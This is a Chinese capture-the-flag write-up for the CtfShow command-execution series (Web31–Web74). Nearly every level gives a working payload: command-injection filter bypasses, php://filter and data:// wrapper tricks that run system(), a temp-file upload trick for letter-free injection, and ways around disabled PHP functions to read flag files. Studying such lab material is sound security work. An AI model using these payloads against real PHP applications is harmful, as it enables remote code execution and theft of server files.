CtfShow Web入门-命令执行
感谢Y4师傅!看Y4的Wp真的学到好多!
Web31
过滤条件: flag\system\php\cat\sort\shell\小数点\空格\单引号
执行passthru()
查看flag
绕过cat使用tac more less head tac tail nl od(二进制查看) vi vim sort uniq
绕过空格用%09 <> ${IFS} $IFS$9 {cat,fl*} %20
flag绕过可以用通符代替
执行echo查看flag(` 波浪号表示执行)
payload:echo `tac f*`
Web32
过滤条件:flag\system\php\cat\sort\shell\小数点\空格\单引号\波浪号\echo\分号\括号
绕过:
用文件包含include()
,include可以无括号包含,分号;
可以用?>
代替,与前面形成闭合,这样就可以做到参数逃逸
构造
payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
参数逃逸:
Web33-35
payload和上题一样
payload:?c=include%09$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
.
Web36
过滤条件: 对比前一题多了对数字的过滤
将include的参数1改成字母就行了,include的无括号包含可以不用空格
payload:?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
web37:
看到include函数,说明需要我们利用include函数命令执行,这里可以使用伪协议,同时利用字符串逃逸,绕过过滤
data伪协议命令执行:data:text/plain,<php代码; ?>
构造
payload:?c=data:text/plain; <?php system($_POST[1]);?> POST: 1=tac flag.php
利用POST提交的参数1进行逃逸绕过正则
Web38
相比上一题多了php和filter的过滤,应该是对php://filter的过滤,还是构造payload还是用data伪协议
绕过php:data伪协议后的代码是<?php code; ?>
,这里php用短标签代替
<?php echo
ls;?>
使用短标签方式表示:
<?=`ls`?>
payload 无非是把上一题的<?php短写:
payload:?c=data:text/plain,<?=`tac f*`?>
Web39
查看发现只过滤的flag,但是LFI的时候会带上.php ,这里先尝试一波执行data伪协议,尝试.php后缀是否会对伪协议的执行产生影响
Payload:?c=data:text/plain,<?php system(‘tac f*’);?>
执行发现成功,加上.php并不会对伪协议的执行有影响,因为<?php code ?> 已经闭合执行完了
Web40-41
等本菜搞清楚了再来写吧,yu师傅tql
Web42
Payload: ?c=tac f*||
为什么用这个请看Web43的Wp
Web43
过滤条件: cat、分号,同时不区分大小写
>/dev/null
可以理解成不执行
绕过>/dev/null || &&
关于用法:
A || B A执行成功就不执行B,同理,A执行不成功就执行B
A | B 将A的执行结果传入B
A && B A成功执行后执行B,如果A不成功,那么B就不会被执行
payload: ?c=tac flag.php ||
Web44
相比较上一题,只是多了一个对flag的过滤,这里可以用通配符*?
代替
通配符:
?
表示匹配一个字符,这里设我们想看web82.py,那么写成web??.p? 就能查看,*
表示匹配多个字符 ,这里设我们想看web82.py ,那么写成web82*
所以构造
payload:?c=tac%20fla*||
Web45
过滤条件:分号、cat、flag、空格
绕过 >/dev/null
不多赘述,主要是绕过空格,可以参考我web31、43的wp
构造
payload:?c=tac%09fla*||
Web46
过滤条件: cat、flag、空格、数字、$、*
绕过空格现在不能用$IFS
绕过,但是可以用<>
和%09
绕过(注意<
和?
不能连用,至于为什么%09不被过滤是因为上传到服务器就是tab键,不算数字)
绕过flag用问号绕过,fla?.???
构造
payload: ?c=tac<fla%27%27g.php||
或者payload: ?c = tac%09fla?.???||
Web47-49
过滤条件:分号、flag、空格、数字、$、*、more、less、head、sort、tail
绕过了,但是又好像没绕,上一题的payload也适用于这题
payload: ?c=tac%09fla?.???||
Web50
过滤条件:
分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、awk、strings、od、curl、`、%、%09、&(编码后为%26)
绕过空格:这里过滤了tab(%09)
,可以用<
或>
代替,但是<
不能和?
连用
绕过flag:之前用通配符*或?可以绕过,现在可以使用‘’或者/分割绕过
构造
payload:?c=tac<fla\g.php||
payload: ?c=tac<fla’’g.php||
Web51
过滤条件:
分号、cat、flag、空格、数字、$、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)
绕过:看到tac
被禁用了…直接用nl查看
构造
payload:?c=nl<fla\g.php|| 然后F12审计源码,就可以看到flag
Web52
过滤条件:
分号、cat、flag、空格、数字、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)、<、>
仔细一看少过滤了个$
,多过滤了<>
,那么这里用${IFS}
,构造
payload:?c=nl${IFS}fla\g.php|| 执行完F12查看源码
Web53
过滤条件:
分号、cat、flag、空格、数字、*、more、less、head、sort、tail、sed、cut、tac、awk、strings、od、curl、`、%、%09、&(编码后为%26)、<、>
这题没有将输入指令不执行,直接构造
payload: ?c=nl${IFS}fla?.???
Web54
好像是加强了正则,不能用*代替,构造
payload: ?c=/bin/??t${IFS}????.???
Web55
过滤条件:
a-z 、`、%、%09(tab)、%26(&)、<、>
不区分大小写
绕过可以用文件上传,参考Firebasky师傅的WP:
原理是文件上传,然后php会把他保存到临时目录/tmp去,然后利用.执行文件 ,配合通配符*,@-[] 表示大写字母 (@-[中间是大写字母,/tmp的目录生成临时文件是8个字符的且必有大写 )
用html构造本地上传,然后抓包执行,实现无字符命令注入
注意:ls一定要写在最底下!,不然就会像我一样,试了半天都不知道问题出在哪里
问了一下大牛师傅,说是内容后会跟分界符,所以切记不要留空(有懂的师傅可以解答一下)
这里还可以自己写python脚本
Web56
这里也可以用上一题的payload或者脚本打通,就不赘述了
Web57
不好意思,确实不会,附Y4tacker师傅的wp
Web58
突破禁用函数,也不知道禁用了哪些函数,就随便试试,万一呢
首先构造
payload:POST : c=print_r(scandir(%27/var/www/html/%27));
打印出当前目录,查看到当前目录flag名称,然后highlight_file
或者show_source
,最终
payload: ?c=show_source('flag.php');
具体突破禁用函数的方法太多了,可以自己慢慢尝试,最后再说一波:Y4tacker !!! YYDS
Web59
也不知道禁用了啥,还是试试show_source()吧
payload: ?c=show_source(‘flag.php’);
诶,成功了~
Web60-65
还是这个源码,但是禁用的方法多了点,多试几下,发现用上一题的payload可以
payload:?c=show_source(‘flag.php’);
刚刚看了y4师傅的wp,又看到个新姿势,用copy函数
payload: copy(‘flag.php’,’flag.txt’); 然后访问http://url/flag.txt**
Web66-67
首先还是想到之前的show_source,结果发现被禁了
然后扫描当前目录,查看flaprint_r(scandir(‘./’));
猜测flag在根目录,因为show_source被禁用所以用highlight_file()
payload: c=highlight_file('/flag.txt');
Web68-69
打开就提示highlight_file不行,首先扫描目录print_r(scandir(‘/’));
发现print_r
被禁用了,于是使用var_dump(scandir(‘/’));
查看发现flag.txt ,直接文件包含
payload: c=include('/flag.txt');
Web70
用上题的payload
下载审计源码(过程在图中)
实际上就是把缓冲区内的内容转义了,这里可以用exit(); 绕过 (作用:使程序提前结束)
payload: c=include('/flag.txt');xit();
Web72
看了Y4师傅的WP…真学了不少,至于为什么这么执行… ,也不是很懂,总而言之后面的命令执行会专门整个WP解毒
Web73-74
执行payload:
c=?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');} exit(0);
查看当前目录发现flagc.txt ,直接文件包含
payload: c=include(‘/flagc.txt’);exit();